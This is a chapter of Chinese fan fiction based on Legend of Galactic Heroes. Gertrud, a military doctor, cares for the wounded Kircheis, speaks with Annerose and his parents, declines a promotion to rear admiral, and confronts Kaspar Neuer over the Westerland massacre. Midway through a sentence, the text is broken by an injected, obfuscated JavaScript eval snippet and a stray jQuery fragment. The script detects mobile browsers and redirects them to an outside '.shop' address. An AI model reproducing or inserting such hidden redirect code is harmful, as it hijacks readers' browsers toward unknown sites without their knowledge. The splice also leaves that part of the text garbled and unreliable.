医疗舰抵达奥丁那天,天气好得过分。
秋色已浓,沿街的梧桐树叶快要黄透,阳光从叶片之间漏下来,落在宽阔的街道上,像撒了一层极淡的蜂浆。
帝国医学院附属高级疗养院在新无忧宫以北十公里,原本是皇族和上层贵族养病的地方,金|顶白墙,园子里种着整排整排的酸枣树。
格特鲁德提前打过招呼,院长派了最好的护理组入驻吉尔菲艾斯的专属病房,负责24小时服务。
当天下午,安妮罗杰来了。
她穿得很素净,一件蓝色长裙,头发低挽。
格特鲁德在疗养院门口接到她时,她正站在那排酸枣树下,仰头看着二楼的窗子,风把几片叶子吹到她肩上,她也没有去拂。
格特鲁德带她上楼。
病房里很安静,吉尔菲艾斯还在昏睡,脸色白得接近透明。
安妮罗杰站在床边,没有哭,也没有说话。
她只是看着那张脸,看了很久,然后伸出两根手指,很轻很轻地碰了碰他露在被子外的手背。
“路上已经醒了,不过多数时间在昏睡。”
格特鲁德说。
“我知道。”
安妮罗杰垂着眼。
然后,格特鲁德把病情都告诉了她——心脏损伤、右臂神经损伤、脑缺血后遗症,每一项都说得很清楚,没有用“可能”“也许”来糊弄,也没有在最后加一句“会好起来的”。
安妮罗杰听完,脸上依然很静,只有嘴角很轻地抿了一下。
“我出去坐一会儿。”
她忽然转身,快步走出病房。
楼下有一条长椅,正对着一片不大的草坪。
格特鲁德跟在她后面下了楼,陪她坐下。
太阳已经西斜,草地上投着长长的树影。
“第一次见到齐格时,他很腼腆。”安妮罗杰终于开口,声音被晚风磨得又细又薄:“我对他说,‘要和莱因哈特做好朋友’。”
格特鲁德眼睛看着远处一棵酸枣树:“他做到了——远超限度的做到了。”
安妮罗杰低下头。
一滴泪从她的眼眶落下,砸在手背上。
她声音微哽:“姐姐……我总觉得,是自己把他推到这条路上的。”
“那我也一样。”格特鲁德顿了顿,看向更远处的树影:“我也是共犯。”
她当然可以用“剧情”“命运”这套说辞开脱。
然而事实上,没出事的时候,这叫“托付”;出了事,再回头看,就变成了“合谋”。
安妮罗杰没有说话,失神地看着从树上吹下来的碎叶。
又过了一会儿,格特鲁德说:“他的父母很快会被接来。康复方案我和其他几位专家会诊后再完善——你先不要告诉莱因哈特,他知道得晚一点比较好,你我都省事。”
安妮罗杰轻轻点了一下头。
“还有。”格特鲁德脸色沉肃:“过段时间我会从别馆搬出去。”
安妮罗杰转头看她,脸色一点点苍白下去,声音微微颤抖。
“莱因哈特是不是……做了什么错事?”
她清楚格特鲁德的个性,她7岁来到这个家庭帮忙照顾他们,妈妈去世后,她承担了那些本该由父亲做的事——修屋顶、剪树杈,辍学去诊所打工补贴家用……即便是自己后来被带进宫,她也没有离开,甚至莱茵哈特到哪里打仗,她就会跟到最近的医疗港。
能让她下这样的决心,莱因哈特一定是做了让她无法忍受的事。
格特鲁德看着天边那半片血红的夕阳,目光淡淡:“他做的事我暂时不想评价。但我不想再住在他安排的地方。”
威斯塔朗特事件之后,她没办法装作若无其事与莱因哈特继续住在同一个屋檐下。
权力无关是非善恶,她接受不了所以退开,就是如此简单。
安妮罗杰的声音开始滞涩:“他……连你的想法也不肯顾及了吗。”
“男孩子长大了不听话是正常的,齐格飞也不听父母的话——听话的男孩据说没出息。”格特鲁德故作轻松地揽住她的肩:“别担心,我有空会回去坐坐,找你说话。”
安妮罗杰试图回应她,可几经努力,也只能虚弱地勾起一点嘴角。
吉尔菲艾斯的父母抵达后,格特鲁德诚恳告知了所有伤情——她说得很慢,但每一项都说得很清楚,没有避开最坏的那部分。
病房里很安静,吉尔菲艾斯睡得正沉。
向来友善的吉尔菲艾斯夫妇十分沉默。
他们不清楚儿子是怎么受伤,但他们猜得到他是为谁受伤——10岁以后,这个孩子仿佛就不再属于他们了。
吉尔菲艾斯太太起初还站着,后来坐到床沿上,把儿子的手轻轻合在自己掌心里,像握住一件随时会碎掉的东西。
老吉尔菲艾斯默默听着,眼睛一直看着她,脸上几乎没有什么表情,过了十几分钟才问:“格特鲁德小姐,我们能做什么?”
“多来陪他,跟他说话,按摩手指。他记不全最近的事,顺着他的意思说就好,不要刻意提醒。”格特鲁德又补上一句:“另外,也要照顾好自己。如果他醒来看到你们形容憔悴,会很难过。”
“我了解了。我们会注意。”老吉尔菲艾斯点点头:“治疗的事就拜托您了。”
“我会竭尽全力。”格特鲁德郑重应下他的托付,随后转身出门交代:“准备最好的陪护套房——除了必要的食宿和陪护安排,别让人打扰他们二位。”
院长一一应下。
格特鲁德隔着半掩的门看了一眼,吉尔菲艾斯太太依然坐在床边握着吉尔菲艾斯的手,老吉尔菲艾斯站在她身后,像一棵老去的树。
然后她对施泰因霍夫说:“我去一趟元帅府,这边请您暂时照看。施利希特阁下稍后也会过来。”
施泰因霍夫点点头。
她抵达元帅府时,高级将官会议刚结束。
她站在自动红毯侧面等那排提督经过,按规矩敬礼,他们也都按制回礼,但看她的眼神有些奇怪。
米达麦亚的目光在她肩上停了一下,又很快移开;罗严塔尔倒是和平时一样,脸上什么都看不出来,但经过她面前时,他的头微微偏了偏,那双金银妖瞳从她的领口转到肩章;毕典菲尔特回礼时,下巴绷着,像有什么话被按回了嘴里;缪拉站得笔直,像在接受检阅;梅克林格和舒坦梅兹都只平静地行礼,但梅克林格经过她之后还回头看了一眼。
法伦海特站在最后面,视线平视前方,经过她时才举手回礼并点了点头。
那些目光让她有些莫名其妙,不知道是不是自己身上有什么地方不对。
元帅办公室的门半掩着,一名浅金色短发、未施粉黛的年轻女子从里面出来,手里拿着一份刚签过的文件。
格特鲁德立刻猜出了她的身份——玛林道夫伯爵小姐希尔德,莱茵哈特的首席秘书官。
两个人目光在门口碰上,谁都没有先挪开。
走廊里几个还没走远的提督都放慢了脚步,像在等她们打招呼,又像只是觉得这一幕不该错过。
希尔德露出一个微笑:“缪杰尔少将,您来了。”
格特鲁德听见她的称呼,低头看了眼自己的肩章。
少将。
她再抬头去看那些还没走远的提督,看到他们脸上那种欲言又止的奇怪表情,忽然就明白了。
原来奇怪的是这件事。
她礼貌地回应:“玛林道夫伯爵小姐。”
“元帅在等您。”
希尔德侧身让开门,点点头之后离开。
格特鲁德看着她的背影走远,才收回视线,推门进去。
莱因哈特站在桌前,正抬起头来看她。
他的眼睛比过去又多了几分凌厉,略长长了一些的金发垂在耳后。
“吉尔菲艾斯安顿好了?”
“安顿好了。”格特鲁德把门带上,走到桌前:“帝国医学院那边的人已经接手。我把他的父母接过来了。”
莱因哈特怔了一下,眸色浅了一点,像一块被冰水浸过的蓝玻璃:“他的父母?”
“齐格飞是独生子。”格特鲁德说,“他的父母有资格来见他、照顾他。”
“都由你安排。”莱因哈特看着她,视线有两分闪躲:“……我就不去见他们了。”
“没让你见他们。”格特鲁德就事论事地说:“他们也不会想见你。”
她语气平静,甚至没有带刺,莱因哈特却像被什么打了一下。
他偏过头看向窗外,过了很久才低声说:“他的情况……很严重吗?”
“以后会怎么样,还不能确定。”格特鲁德说,“心脏、右臂都受了伤,脑部损伤暂时还有待观察——最好的结果是能够正常工作和生活。”
莱因哈特的脸色瞬间白了。
他嘴唇动了几下,才挤出一句:“你也治不好他?”
格特鲁德看着他。
阳光从窗外照进来,给他的金发镶了一层灿烂的光圈,但那张脸白得厉害。
“各种可能性都有。”她说:“我会竭尽全力,但我也不是奥丁大神。”
莱因哈特没再说话。
他坐在那里,像一尊被阳光照得发白的雕像。
格特鲁德没有等他再说什么,提起了另一件事:“另外,我申请把我的晋升军衔由少将改为准将。”
“什么?”莱因哈特从恍惚中回过神,勉强凝聚几分精力注视着她:“为什么?”
“战创伤康复研究中心主任对应军衔是上校或准将,晋升少将不合规矩。我建议在完成舰队医疗改革推广工作后,再根据实际贡献评估是否进一步晋升。”
莱因哈特看着她,眼神暗了暗,锋锐的气质软了一点:“我知道了。任命文书会在修改后重新公布。”
格特鲁德转身往门口走,手搭在门把上时,听见他在身后说:“吉尔菲艾斯那边……需要什么,直接和我说。”
“了解。”她打开门,没有回头。
——吉尔菲艾斯的伤情,施利希特或许会有新的建议;内战期间各舰队的伤情数据也需要她审阅;帝国医学院和奥丁医学院相关领域专家也在帮她收集类似创伤案例与康复方案,她得逐项对接和处理。
翌日上午,军务省更改了人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946631|207854||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事公告。
总体内容没有变更,唯独“格特鲁德·冯·缪杰尔”这个名字后面跟着的军衔变成了“准将”。
之前不少人在私下谈论“帝国五百年来第一位女性少将”,各种说法都有,结果现在忽然又进行了修改。
毕典菲尔特先看见公示,把名字和军衔看了两遍,问旁边的缪拉:“不是少将吗?怎么变成准将了?”
缪拉也看了一眼,不太确定地说:“莫非是参谋长要求的?”
“升了又降,这算什么。”毕典菲尔特“啧”了一声:“那个奥贝斯坦管得也太宽了。”
米达麦亚从后面过来,没有发表评论——昨天缪杰尔准将去过元帅府,他猜测修改军衔的事八成和她自己有关,但这种事他不想跟毕典菲尔特多说,他嘴巴太快,说了又要扯出别的麻烦。
罗严塔尔站在旁边,把公示扫了一遍,什么也没说。
坎普感慨道:“准将也不低了。帝国军里还没有过女准将。”
毕典菲尔特哼了一声,没再说话。
法伦海特没有在前厅久留,他看完公示就往外走,想起那位女准将多年前曾经写过的那套分诊方案——那时他也没见过她,只让军医官把内容拿回去用,现在也没必要多问。
当天下午,卡斯帕来到了帝国医学院。
来之前,他在军务省前厅把那份公示又看了一遍——少将变准将,让他觉得很有趣,也有点说不出的复杂。
他找到帝国医学院图书馆时,格特鲁德正拎着一摞数据板和康复学科主任在门口说话。
她注意到旁边来了一个长相惹眼的男人,一开并没有太在意,毕竟现在冲着莱因哈特来“偶遇”她的人并不少,但那个男人委实有些面熟,她看了几眼后,与主任道了别,走到他面前。
“诺伊莱伯爵?”
卡斯帕今日穿得整齐,军服外头套了件深色外套,笑容扬起时,几个路过的女学生红着脸捂着嘴快步走远了。
“缪杰尔准将。”卡斯帕一笑起来就没了正形:“恭喜升任。另外,您是不是该给我做个术后评估了?”
格特鲁德将他上下看了一遍:“我认为您康复得很好。有余力策划奇袭,并玩弄立典亥姆于股掌之间。”
卡斯帕的笑容稍微凝滞了一下——他意识到她不是在赞扬。
在图书馆外面等着的伦纳注意到了他,正打算走过来,格特鲁德抬手示意他不必管。
“能占用您一点时间吗?”卡斯帕预感今天这场会面恐怕不会像自己预期一样发展了,做了一个“请”的手势。
格特鲁德顺着他的手势走向一条人影稀疏的林荫道。
“什么事?”
“确实是来表达感激之情。”卡斯帕说:“没有您,我大概早就站不起来了,也没有机会在罗严克拉姆公爵麾下效力。”
“那是我的工作。”格特鲁德顿了顿,忽然站定不动了:“内战时,格伦瓦尔的三次奇袭打乱了元帅的计划,至少拖了他半个月——然后布朗胥百克让梅尔卡兹和法伦海特两位提督接手指挥权,又拖了半个月。”
“……是这样没错。”
卡斯帕有几分莫名。他以为这位女军医应该对战役本身不感兴趣。
紧接着他就听到她说:“最后,威斯塔朗特遭到了核攻击——有人为了速胜袖手旁观。”
卡斯帕脸上失去了笑意。
“您知道了?”
格特鲁德看着铺满银杏叶的道路:“猜得出。”
卡斯帕说不出话来。
格特鲁德继续道:“那三次奇袭让立典亥姆鹤立鸡群。布朗胥百克为了制衡他,愿意让军事专家暂时指挥军队,让那群乌合之众得以苟延残喘——到威斯塔朗特遭到攻击的时候,两百万条命在战略天平上根本不算什么。你也觉得这样很划算吗?”
“不是。”卡斯帕的声音比她预想的低沉:“我不是这么想……但我也不觉得那是我能管的事。”
“所以你没有参与,但你不觉得意外。”
“是。”
格特鲁德看着卡斯帕,像在看他身后很远的地方。
卡斯帕进退维谷,欲言又止地看着她:“您后悔救我了?”
“我救过很多人。”格特鲁德摇摇头:“医生不负责病人以后做什么,我没什么可后悔的——那是我的工作。”
然后她又看了这个漂亮得过分的男人一眼:“没事别再来找我。我不想被那位参谋长关注。”
她转身离开了。
卡斯帕站在那儿,过了好一会儿,才慢慢走到路边的椅子上坐下,两手交叉搁在膝盖上,低下头,开始思考一些之前没有想过的问题。
一个女人为什么要做军医?
为了从军的弟弟?
那么弟弟得势之后,她还不肯从前线撤下来,又是为什么?
此刻他明白了。
那些分诊方案、康复手册、舰队医疗改革——全部是为了从宇宙战场救回远远少于阵亡人数的人。
这样一个人,怎么可能受得了威斯塔朗特的惨剧?
卡斯帕苦笑了一下,很短,像从喉咙里挤出来的气音。